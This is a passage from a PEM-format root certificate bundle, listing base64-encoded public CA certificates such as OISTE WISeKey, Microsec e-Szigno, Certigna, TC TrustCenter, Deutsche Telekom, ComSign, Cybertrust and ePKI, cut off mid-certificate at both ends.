T1MKZPlO9L9OVL14bIjqv5wTJMJwaaJ/D8g8rQjJsJhAoyrniIPtd490 -----END CERTIFICATE----- OISTE WISeKey Global Root GA CA =============================== -----BEGIN CERTIFICATE----- MIID8TCCAtmgAwIBAgIQQT1yx/RrH4FDffHSKFTfmjANBgkqhkiG9w0BAQUFADCBijELMAkGA1UE BhMCQ0gxEDAOBgNVBAoTB1dJU2VLZXkxGzAZBgNVBAsTEkNvcHlyaWdodCAoYykgMjAwNTEiMCAG A1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBH bG9iYWwgUm9vdCBHQSBDQTAeFw0wNTEyMTExNjAzNDRaFw0zNzEyMTExNjA5NTFaMIGKMQswCQYD VQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEbMBkGA1UECxMSQ29weXJpZ2h0IChjKSAyMDA1MSIw IAYDVQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5 IEdsb2JhbCBSb290IEdBIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy0+zAJs9 Nt350UlqaxBJH+zYK7LG+DKBKUOVTJoZIyEVRd7jyBxRVVuuk+g3/ytr6dTqvirdqFEr12bDYVxg Asj1znJ7O7jyTmUIms2kahnBAbtzptf2w93NvKSLtZlhuAGio9RN1AU9ka34tAhxZK9w8RxrfvbD d50kc3vkDIzh2TbhmYsFmQvtRTEJysIA2/dyoJaqlYfQjse2YXMNdmaM3Bu0Y6Kff5MTMPGhJ9vZ /yxViJGg4E8HsChWjBgbl0SOid3gF27nKu+POQoxhILYQBRJLnpB5Kf+42TMwVlxSywhp1t94B3R LoGbw9ho972WG6xwsRYUC9tguSYBBQIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUswN+rja8sHnR3JQmthG+IbJphpQwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBAEuh/wuHbrP5wUOxSPMowB0uyQlB+pQAHKSkq0lPjz0e701vvbyk9vIm MMkQyh2I+3QZH4VFvbBsUfk2ftv1TDI6QU9bR8/oCy22xBmddMVHxjtqD6wU2zz0c5ypBd8A3HR4 +vg1YFkCExh8vPtNsCBtQ7tgMHpnM1zFmdH4LTlSc/uMqpclXHLZCB6rTjzjgTGfA6b7wP4piFXa hNVQA7bihKOmNqoROgHhGEvWRGizPflTdISzRpFGlgC3gCy24eMQ4tui5yiPAZZiFj4A4xylNoEY okxSdsARo27mHbrjWr42U8U+dY+GaSlYU7Wcu2+fXMUY7N0v4ZjJ/L7fCg0= -----END CERTIFICATE----- Microsec e-Szigno Root CA ========================= -----BEGIN CERTIFICATE----- MIIHqDCCBpCgAwIBAgIRAMy4579OKRr9otxmpRwsDxEwDQYJKoZIhvcNAQEFBQAwcjELMAkGA1UE BhMCSFUxETAPBgNVBAcTCEJ1ZGFwZXN0MRYwFAYDVQQKEw1NaWNyb3NlYyBMdGQuMRQwEgYDVQQL EwtlLVN6aWdubyBDQTEiMCAGA1UEAxMZTWljcm9zZWMgZS1Temlnbm8gUm9vdCBDQTAeFw0wNTA0 MDYxMjI4NDRaFw0xNzA0MDYxMjI4NDRaMHIxCzAJBgNVBAYTAkhVMREwDwYDVQQHEwhCdWRhcGVz dDEWMBQGA1UEChMNTWljcm9zZWMgTHRkLjEUMBIGA1UECxMLZS1Temlnbm8gQ0ExIjAgBgNVBAMT GU1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQDtyADVgXvNOABHzNuEwSFpLHSQDCHZU4ftPkNEU6+r+ICbPHiN1I2uuO/TEdyB5s87lozWbxXG d36hL+BfkrYn13aaHUM86tnsL+4582pnS4uCzyL4ZVX+LMsvfUh6PXX5qqAnu3jCBspRwn5mS6/N oqdNAoI/gqyFxuEPkEeZlApxcpMqyabAvjxWTHOSJ/FrtfX9/DAFYJLG65Z+AZHCabEeHXtTRbjc QR/Ji3HWVBTji1R4P770Yjtb9aPs1ZJ04nQw7wHb4dSrmZsqa/i9phyGI0Jf7Enemotb9HI6QMVJ PqW+jqpx62z69Rrkav17fVVA71hu5tnVvCSrwe+3AgMBAAGjggQ3MIIEMzBnBggrBgEFBQcBAQRb MFkwKAYIKwYBBQUHMAGGHGh0dHBzOi8vcmNhLmUtc3ppZ25vLmh1L29jc3AwLQYIKwYBBQUHMAKG IWh0dHA6Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNydDAPBgNVHRMBAf8EBTADAQH/MIIBcwYD VR0gBIIBajCCAWYwggFiBgwrBgEEAYGoGAIBAQEwggFQMCgGCCsGAQUFBwIBFhxodHRwOi8vd3d3 LmUtc3ppZ25vLmh1L1NaU1ovMIIBIgYIKwYBBQUHAgIwggEUHoIBEABBACAAdABhAG4A+gBzAO0A dAB2AOEAbgB5ACAA6QByAHQAZQBsAG0AZQB6AOkAcwDpAGgAZQB6ACAA6QBzACAAZQBsAGYAbwBn AGEAZADhAHMA4QBoAG8AegAgAGEAIABTAHoAbwBsAGcA4QBsAHQAYQB0APMAIABTAHoAbwBsAGcA 4QBsAHQAYQB0AOEAcwBpACAAUwB6AGEAYgDhAGwAeQB6AGEAdABhACAAcwB6AGUAcgBpAG4AdAAg AGsAZQBsAGwAIABlAGwAagDhAHIAbgBpADoAIABoAHQAdABwADoALwAvAHcAdwB3AC4AZQAtAHMA egBpAGcAbgBvAC4AaAB1AC8AUwBaAFMAWgAvMIHIBgNVHR8EgcAwgb0wgbqggbeggbSGIWh0dHA6 Ly93d3cuZS1zemlnbm8uaHUvUm9vdENBLmNybIaBjmxkYXA6Ly9sZGFwLmUtc3ppZ25vLmh1L0NO PU1pY3Jvc2VjJTIwZS1Temlnbm8lMjBSb290JTIwQ0EsT1U9ZS1Temlnbm8lMjBDQSxPPU1pY3Jv c2VjJTIwTHRkLixMPUJ1ZGFwZXN0LEM9SFU/Y2VydGlmaWNhdGVSZXZvY2F0aW9uTGlzdDtiaW5h cnkwDgYDVR0PAQH/BAQDAgEGMIGWBgNVHREEgY4wgYuBEGluZm9AZS1zemlnbm8uaHWkdzB1MSMw IQYDVQQDDBpNaWNyb3NlYyBlLVN6aWduw7MgUm9vdCBDQTEWMBQGA1UECwwNZS1TemlnbsOzIEhT WjEWMBQGA1UEChMNTWljcm9zZWMgS2Z0LjERMA8GA1UEBxMIQnVkYXBlc3QxCzAJBgNVBAYTAkhV MIGsBgNVHSMEgaQwgaGAFMegSXUWYYTbMUuE0vE3QJDvTtz3oXakdDByMQswCQYDVQQGEwJIVTER MA8GA1UEBxMIQnVkYXBlc3QxFjAUBgNVBAoTDU1pY3Jvc2VjIEx0ZC4xFDASBgNVBAsTC2UtU3pp Z25vIENBMSIwIAYDVQQDExlNaWNyb3NlYyBlLVN6aWdubyBSb290IENBghEAzLjnv04pGv2i3Gal HCwPETAdBgNVHQ4EFgQUx6BJdRZhhNsxS4TS8TdAkO9O3PcwDQYJKoZIhvcNAQEFBQADggEBANMT nGZjWS7KXHAM/IO8VbH0jgdsZifOwTsgqRy7RlRw7lrMoHfqaEQn6/Ip3Xep1fvj1KcExJW4C+FE aGAHQzAxQmHl7tnlJNUb3+FKG6qfx1/4ehHqE5MAyopYse7tDk2016g2JnzgOsHVV4Lxdbb9iV/a 86g4nzUGCM4ilb7N1fy+W955a9x6qWVmvrElWl/tftOsRm1M9DKHtCAE4Gx4sHfRhUZLphK3dehK yVZs15KrnfVJONJPU+NVkBHbmJbGSfI+9J8b4PeI3CVimUTYc78/MPMMNz7UwiiAc7EBt51alhQB S6kRnSlqLtBdgcDPsiBDxwPgN05dCtxZICU= -----END CERTIFICATE----- Certigna ======== -----BEGIN CERTIFICATE----- MIIDqDCCApCgAwIBAgIJAP7c4wEPyUj/MA0GCSqGSIb3DQEBBQUAMDQxCzAJBgNVBAYTAkZSMRIw EAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hMB4XDTA3MDYyOTE1MTMwNVoXDTI3 MDYyOTE1MTMwNVowNDELMAkGA1UEBhMCRlIxEjAQBgNVBAoMCURoaW15b3RpczERMA8GA1UEAwwI Q2VydGlnbmEwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIaPHJ1tazNHUmgh7stL7q XOEm7RFHYeGifBZ4QCHkYJ5ayGPhxLGWkv8YbWkj4Sti993iNi+RB7lIzw7sebYs5zRLcAglozyH GxnygQcPOJAZ0xH+hrTy0V4eHpbNgGzOOzGTtvKg0KmVEn2lmsxryIRWijOp5yIVUxbwzBfsV1/p ogqYCd7jX5xv3EjjhQsVWqa6n6xI4wmy9/Qy3l40vhx4XUJbzg4ij02Q130yGLMLLGq/jj8UEYkg DncUtT2UCIf3JR7VsmAA7G8qKCVuKj4YYxclPz5EIBb2JsglrgVKtOdjLPOMFlN+XPsRGgjBRmKf Irjxwo1p3Po6WAbfAgMBAAGjgbwwgbkwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUGu3+QTmQ tCRZvgHyUtVF9lo53BEwZAYDVR0jBF0wW4AUGu3+QTmQtCRZvgHyUtVF9lo53BGhOKQ2MDQxCzAJ BgNVBAYTAkZSMRIwEAYDVQQKDAlEaGlteW90aXMxETAPBgNVBAMMCENlcnRpZ25hggkA/tzjAQ/J SP8wDgYDVR0PAQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzANBgkqhkiG9w0BAQUFAAOCAQEA hQMeknH2Qq/ho2Ge6/PAD/Kl1NqV5ta+aDY9fm4fTIrv0Q8hbV6lUmPOEvjvKtpv6zf+EwLHyzs+ ImvaYS5/1HI93TDhHkxAGYwP15zRgzB7mFncfca5DClMoTOi62c6ZYTTluLtdkVwj7Ur3vkj1klu PBS1xp81HlDQwY9qcEQCYsuuHWhBp6pX6FOqB9IG9tUUBguRA3UsbHK1YZWaDYu5Def131TN3ubY 1gkIl2PlwS6wt0QmwCbAr1UwnjvVNioZBPRcHv/PLLf/0P2HQBHVESO7SMAhqaQoLf0V+LBOK/Qw WyH8EZE0vkHve52Xdf+XlcCWWC/qu0bXu+TZLg== -----END CERTIFICATE----- TC TrustCenter Class 2 CA II ============================ -----BEGIN CERTIFICATE----- MIIEqjCCA5KgAwIBAgIOLmoAAQACH9dSISwRXDswDQYJKoZIhvcNAQEFBQAwdjELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNVBAsTGVRDIFRydXN0Q2VudGVy IENsYXNzIDIgQ0ExJTAjBgNVBAMTHFRDIFRydXN0Q2VudGVyIENsYXNzIDIgQ0EgSUkwHhcNMDYw MTEyMTQzODQzWhcNMjUxMjMxMjI1OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1 c3RDZW50ZXIgR21iSDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQTElMCMGA1UE AxMcVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMiBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBAKuAh5uO8MN8h9foJIIRszzdQ2Lu+MNF2ujhoF/RKrLqk2jftMjWQ+nEdVl//OEd+DFw IxuInie5e/060smp6RQvkL4DUsFJzfb95AhmC1eKokKguNV/aVyQMrKXDcpK3EY+AlWJU+MaWss2 xgdW94zPEfRMuzBwBJWl9jmM/XOBCH2JXjIeIqkiRUuwZi4wzJ9l/fzLganx4Duvo4bRierERXlQ Xa7pIXSSTYtZgo+U4+lK8edJsBTj9WLL1XK9H7nSn6DNqPoByNkN39r8R52zyFTfSUrxIan+GE7u SNQZu+995OKdy1u2bv/jzVrndIIFuoAlOMvkaZ6vQaoahPUCAwEAAaOCATQwggEwMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTjq1RMgKHbVkO3kUrL84J6E1wIqzCB 7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRydXN0Y2VudGVyLmRlL2NybC92Mi90 Y19jbGFzc18yX2NhX0lJLmNybIaBn2xkYXA6Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBU cnVzdENlbnRlciUyMENsYXNzJTIwMiUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21i SCxPVT1yb290Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEAjNfffu4bgBCzg/XbEeprS6iSGNn3Bzn1LL4G dXpoUxUc6krtXvwjshOg0wn/9vYua0Fxec3ibf2uWWuFHbhOIprtZjluS5TmVfwLG4t3wVMTZonZ KNaL80VKY7f9ewthXbhtvsPcW3nS7Yblok2+XnR8au0WOB9/WIFaGusyiC2y8zl3gK9etmF1Kdsj TYjKUCjLhdLTEKJZbtOTVAB6okaVhgWcqRmY5TFyDADiZ9lA4CQze28suVyrZZ0srHbqNZn1l7kP JOzHdiEoZa5X6AeIdUpWoNIFOqTmjZKILPPy4cHGYdtBxceb9w4aUUXCYWvcZCcXjFq32nQozZfk vQ== -----END CERTIFICATE----- TC TrustCenter Class 3 CA II ============================ -----BEGIN CERTIFICATE----- MIIEqjCCA5KgAwIBAgIOSkcAAQAC5aBd1j8AUb8wDQYJKoZIhvcNAQEFBQAwdjELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxIjAgBgNVBAsTGVRDIFRydXN0Q2VudGVy IENsYXNzIDMgQ0ExJTAjBgNVBAMTHFRDIFRydXN0Q2VudGVyIENsYXNzIDMgQ0EgSUkwHhcNMDYw MTEyMTQ0MTU3WhcNMjUxMjMxMjI1OTU5WjB2MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMgVHJ1 c3RDZW50ZXIgR21iSDEiMCAGA1UECxMZVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQTElMCMGA1UE AxMcVEMgVHJ1c3RDZW50ZXIgQ2xhc3MgMyBDQSBJSTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBALTgu1G7OVyLBMVMeRwjhjEQY0NVJz/GRcekPewJDRoeIMJWHt4bNwcwIi9v8Qbxq63W yKthoy9DxLCyLfzDlml7forkzMA5EpBCYMnMNWju2l+QVl/NHE1bWEnrDgFPZPosPIlY2C8u4rBo 6SI7dYnWRBpl8huXJh0obazovVkdKyT21oQDZogkAHhg8fir/gKya/si+zXmFtGt9i4S5Po1auUZ uV3bOx4a+9P/FRQI2AlqukWdFHlgfa9Aigdzs5OW03Q0jTo3Kd5c7PXuLjHCINy+8U9/I1LZW+Jk 2ZyqBwi1Rb3R0DHBq1SfqdLDYmAD8bs5SpJKPQq5ncWg/jcCAwEAAaOCATQwggEwMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBTUovyfs8PYA9NXXAek0CSnwPIA1DCB 7QYDVR0fBIHlMIHiMIHfoIHcoIHZhjVodHRwOi8vd3d3LnRydXN0Y2VudGVyLmRlL2NybC92Mi90 Y19jbGFzc18zX2NhX0lJLmNybIaBn2xkYXA6Ly93d3cudHJ1c3RjZW50ZXIuZGUvQ049VEMlMjBU cnVzdENlbnRlciUyMENsYXNzJTIwMyUyMENBJTIwSUksTz1UQyUyMFRydXN0Q2VudGVyJTIwR21i SCxPVT1yb290Y2VydHMsREM9dHJ1c3RjZW50ZXIsREM9ZGU/Y2VydGlmaWNhdGVSZXZvY2F0aW9u TGlzdD9iYXNlPzANBgkqhkiG9w0BAQUFAAOCAQEANmDkcPcGIEPZIxpC8vijsrlNirTzwppVMXzE O2eatN9NDoqTSheLG43KieHPOh6sHfGcMrSOWXaiQYUlN6AT0PV8TtXqluJucsG7Kv5sbviRmEb8 yRtXW+rIGjs/sFGYPAfaLFkB2otE6OF0/ado3VS6g0bsyEa1+K+XwDsJHI/OcpY9M1ZwvJbL2NV9 IJqDnxrcOfHFcqMRA/07QlIp2+gB95tejNaNhk4Z+rwcvsUhpYeeeC422wlxo3I0+GzjBgnyXlal 092Y+tTmBvTwtiBjS+opvaqCZh77gaqnN60TGOaSw4HBM7uIHqHn4rS9MWwOUT1v+5ZWgOI2F9Hc 5A== -----END CERTIFICATE----- TC TrustCenter Universal CA I ============================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIOHaIAAQAC7LdggHiNtgYwDQYJKoZIhvcNAQEFBQAweTELMAkGA1UEBhMC REUxHDAaBgNVBAoTE1RDIFRydXN0Q2VudGVyIEdtYkgxJDAiBgNVBAsTG1RDIFRydXN0Q2VudGVy IFVuaXZlcnNhbCBDQTEmMCQGA1UEAxMdVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBIEkwHhcN MDYwMzIyMTU1NDI4WhcNMjUxMjMxMjI1OTU5WjB5MQswCQYDVQQGEwJERTEcMBoGA1UEChMTVEMg VHJ1c3RDZW50ZXIgR21iSDEkMCIGA1UECxMbVEMgVHJ1c3RDZW50ZXIgVW5pdmVyc2FsIENBMSYw JAYDVQQDEx1UQyBUcnVzdENlbnRlciBVbml2ZXJzYWwgQ0EgSTCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAKR3I5ZEr5D0MacQ9CaHnPM42Q9e3s9B6DGtxnSRJJZ4Hgmgm5qVSkr1YnwC qMqs+1oEdjneX/H5s7/zA1hV0qq34wQi0fiU2iIIAI3TfCZdzHd55yx4Oagmcw6iXSVphU9VDprv xrlE4Vc93x9UIuVvZaozhDrzznq+VZeujRIPFDPiUHDDSYcTvFHe15gSWu86gzOSBnWLknwSaHtw ag+1m7Z3W0hZneTvWq3zwZ7U10VOylY0Ibw+F1tvdwxIAUMpsN0/lm7mlaoMwCC2/T42J5zjXM9O gdwZu5GQfezmlwQek8wiSdeXhrYTCjxDI3d+8NzmzSQfO4ObNDqDNOMCAwEAAaNjMGEwHwYDVR0j BBgwFoAUkqR1LKSevoFE63n8isWVpesQdXMwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AYYwHQYDVR0OBBYEFJKkdSyknr6BROt5/IrFlaXrEHVzMA0GCSqGSIb3DQEBBQUAA4IBAQAo0uCG 1eb4e/CX3CJrO5UUVg8RMKWaTzqwOuAGy2X17caXJ/4l8lfmXpWMPmRgFVp/Lw0BxbFg/UU1z/Cy vwbZ71q+s2IhtNerNXxTPqYn8aEt2hojnczd7Dwtnic0XQ/CNnm8yUpiLe1r2X1BQ3y2qsrtYbE3 ghUJGooWMNjsydZHcnhLEEYUjl8Or+zHL6sQ17bxbuyGssLoDZJz3KL0Dzq/YSMQiZxIQG5wALPT ujdEWBF6AmqI8Dc08BnprNRlc/ZpjGSUOnmFKbAWKwyCPwacx/0QK54PLLae4xW/2TYcuiUaUj0a 7CIMHOCkoj3w6DnPgcB77V0fb8XQC9eY -----END CERTIFICATE----- Deutsche Telekom Root CA 2 ========================== -----BEGIN CERTIFICATE----- MIIDnzCCAoegAwIBAgIBJjANBgkqhkiG9w0BAQUFADBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMT RGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0GA1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEG A1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBSb290IENBIDIwHhcNOTkwNzA5MTIxMTAwWhcNMTkwNzA5 MjM1OTAwWjBxMQswCQYDVQQGEwJERTEcMBoGA1UEChMTRGV1dHNjaGUgVGVsZWtvbSBBRzEfMB0G A1UECxMWVC1UZWxlU2VjIFRydXN0IENlbnRlcjEjMCEGA1UEAxMaRGV1dHNjaGUgVGVsZWtvbSBS b290IENBIDIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCrC6M14IspFLEUha88EOQ5 bzVdSq7d6mGNlUn0b2SjGmBmpKlAIoTZ1KXleJMOaAGtuU1cOs7TuKhCQN/Po7qCWWqSG6wcmtoI KyUn+WkjR/Hg6yx6m/UTAtB+NHzCnjwAWav12gz1MjwrrFDa1sPeg5TKqAyZMg4ISFZbavva4VhY AUlfckE8FQYBjl2tqriTtM2e66foai1SNNs671x1Udrb8zH57nGYMsRUFUQM+ZtV7a3fGAigo4aK Se5TBY8ZTNXeWHmb0mocQqvF1afPaA+W5OFhmHZhyJF81j4A4pFQh+GdCuatl9Idxjp9y7zaAzTV jlsB9WoHtxa2bkp/AgMBAAGjQjBAMB0GA1UdDgQWBBQxw3kbuvVT1xfgiXotF2wKsyudMzAPBgNV HRMECDAGAQH/AgEFMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAlGRZrTlk5ynr E/5aw4sTV8gEJPB0d8Bg42f76Ymmg7+Wgnxu1MM9756AbrsptJh6sTtU6zkXR34ajgv8HzFZMQSy zhfzLMdiNlXiItiJVbSYSKpk+tYcNthEeFpaIzpXl/V6ME+un2pMSyuOoAPjPuCp1NJ70rOo4nI8 rZ7/gFnkm0W09juwzTkZmDLl6iFhkOQxIY40sfcvNUqFENrnijchvllj4PKFiDFT1FQUhXB59C4G dyd1Lx+4ivn+xbrYNuSD7Odlt79jWvNGr4GUN9RBjNYj1h7P9WgbRGOiWrqnNVmh5XAFmw4jV5mU Cm26OWMohpLzGITY+9HPBVZkVw== -----END CERTIFICATE----- ComSign Secured CA ================== -----BEGIN CERTIFICATE----- MIIDqzCCApOgAwIBAgIRAMcoRwmzuGxFjB36JPU2TukwDQYJKoZIhvcNAQEFBQAwPDEbMBkGA1UE AxMSQ29tU2lnbiBTZWN1cmVkIENBMRAwDgYDVQQKEwdDb21TaWduMQswCQYDVQQGEwJJTDAeFw0w NDAzMjQxMTM3MjBaFw0yOTAzMTYxNTA0NTZaMDwxGzAZBgNVBAMTEkNvbVNpZ24gU2VjdXJlZCBD QTEQMA4GA1UEChMHQ29tU2lnbjELMAkGA1UEBhMCSUwwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQDGtWhfHZQVw6QIVS3joFd67+l0Kru5fFdJGhFeTymHDEjWaueP1H5XJLkGieQcPOqs 49ohgHMhCu95mGwfCP+hUH3ymBvJVG8+pSjsIQQPRbsHPaHA+iqYHU4Gk/v1iDurX8sWv+bznkqH 7Rnqwp9D5PGBpX8QTz7RSmKtUxvLg/8HZaWSLWapW7ha9B20IZFKF3ueMv5WJDmyVIRD9YTC2LxB kMyd1mja6YJQqTtoz7VdApRgFrFD2UNd3V2Hbuq7s8lr9gOUCXDeFhF6K+h2j0kQmHe5Y1yLM5d1 9guMsqtb3nQgJT/j8xH5h2iGNXHDHYwt6+UarA9z1YJZQIDTAgMBAAGjgacwgaQwDAYDVR0TBAUw AwEB/zBEBgNVHR8EPTA7MDmgN6A1hjNodHRwOi8vZmVkaXIuY29tc2lnbi5jby5pbC9jcmwvQ29t U2lnblNlY3VyZWRDQS5jcmwwDgYDVR0PAQH/BAQDAgGGMB8GA1UdIwQYMBaAFMFL7XC29z58ADsA j8c+DkWfHl3sMB0GA1UdDgQWBBTBS+1wtvc+fAA7AI/HPg5Fnx5d7DANBgkqhkiG9w0BAQUFAAOC AQEAFs/ukhNQq3sUnjO2QiBq1BW9Cav8cujvR3qQrFHBZE7piL1DRYHjZiM/EoZNGeQFsOY3wo3a BijJD4mkU6l1P7CW+6tMM1X5eCZGbxs2mPtCdsGCuY7e+0X5YxtiOzkGynd6qDwJz2w2PQ8KRUtp FhpFfTMDZflScZAmlaxMDPWLkz/MdXSFmLr/YnpNH4n+rr2UAJm/EaXc4HnFFgt9AmEd6oX5AhVP 51qJThRv4zdLhfXBPGHg/QVBspJ/wx2g0K5SZGBrGMYmnNj1ZOQ2GmKfig8+/21OGVZOIJFsnzQz OjRXUDpvgV4GxvU+fE6OK85lBi5d0ipTdF7Tbieejw== -----END CERTIFICATE----- Cybertrust Global Root ====================== -----BEGIN CERTIFICATE----- MIIDoTCCAomgAwIBAgILBAAAAAABD4WqLUgwDQYJKoZIhvcNAQEFBQAwOzEYMBYGA1UEChMPQ3li ZXJ0cnVzdCwgSW5jMR8wHQYDVQQDExZDeWJlcnRydXN0IEdsb2JhbCBSb290MB4XDTA2MTIxNTA4 MDAwMFoXDTIxMTIxNTA4MDAwMFowOzEYMBYGA1UEChMPQ3liZXJ0cnVzdCwgSW5jMR8wHQYDVQQD ExZDeWJlcnRydXN0IEdsb2JhbCBSb290MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA +Mi8vRRQZhP/8NN57CPytxrHjoXxEnOmGaoQ25yiZXRadz5RfVb23CO21O1fWLE3TdVJDm71aofW 0ozSJ8bi/zafmGWgE07GKmSb1ZASzxQG9Dvj1Ci+6A74q05IlG2OlTEQXO2iLb3VOm2yHLtgwEZL AfVJrn5GitB0jaEMAs7u/OePuGtm839EAL9mJRQr3RAwHQeWP032a7iPt3sMpTjr3kfb1V05/Iin 89cqdPHoWqI7n1C6poxFNcJQZZXcY4Lv3b93TZxiyWNzFtApD0mpSPCzqrdsxacwOUBdrsTiXSZT 8M4cIwhhqJQZugRiQOwfOHB3EgZxpzAYXSUnpQIDAQABo4GlMIGiMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBS2CHsNesysIEyGVjJez6tuhS1wVzA/BgNVHR8EODA2 MDSgMqAwhi5odHRwOi8vd3d3Mi5wdWJsaWMtdHJ1c3QuY29tL2NybC9jdC9jdHJvb3QuY3JsMB8G A1UdIwQYMBaAFLYIew16zKwgTIZWMl7Pq26FLXBXMA0GCSqGSIb3DQEBBQUAA4IBAQBW7wojoFRO lZfJ+InaRcHUowAl9B8Tq7ejhVhpwjCt2BWKLePJzYFa+HMjWqd8BfP9IjsO0QbE2zZMcwSO5bAi 5MXzLqXZI+O4Tkogp24CJJ8iYGd7ix1yCcUxXOl5n4BHPa2hCwcUPUf/A2kaDAtE52Mlp3+yybh2 hO0j9n0Hq0V+09+zv+mKts2oomcrUtW3ZfA5TGOgkXmTUg9U3YO7n9GPp1Nzw8v/MOx8BLjYRB+T X3EJIrduPuocA06dGiBh+4E37F78CkWr1+cXVdCg6mCbpvbjjFspwgZgFJ0tl0ypkxWdYcQBX0jW WL1WMRJOEcgh4LMRkWXbtKaIOM5V -----END CERTIFICATE----- ePKI Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBeMQswCQYDVQQG EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xKjAoBgNVBAsMIWVQS0kg Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMx MjdaMF4xCzAJBgNVBAYTAlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEq MCgGA1UECwwhZVBLSSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAHSyZbCUNs IZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAhijHyl3SJCRImHJ7K2RKi lTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3XDZoTM1PRYfl61dd4s5oz9wCGzh1NlDiv qOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX 12ruOzjjK9SXDrkb5wdJfzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0O WQqraffAsgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uUWH1+ ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLSnT0IFaUQAS2zMnao lQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pHdmX2Os+PYhcZewoozRrSgx4hxyy/ vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJipNiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXi Zo1jDiVN1Rmy5nk3pyKdVDECAwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/Qkqi MAwGA1UdEwQFMAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGBuvl2ICO1J2B0 1GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6YlPwZpVnPDimZI+ymBV3QGypzq KOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkPJXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdV 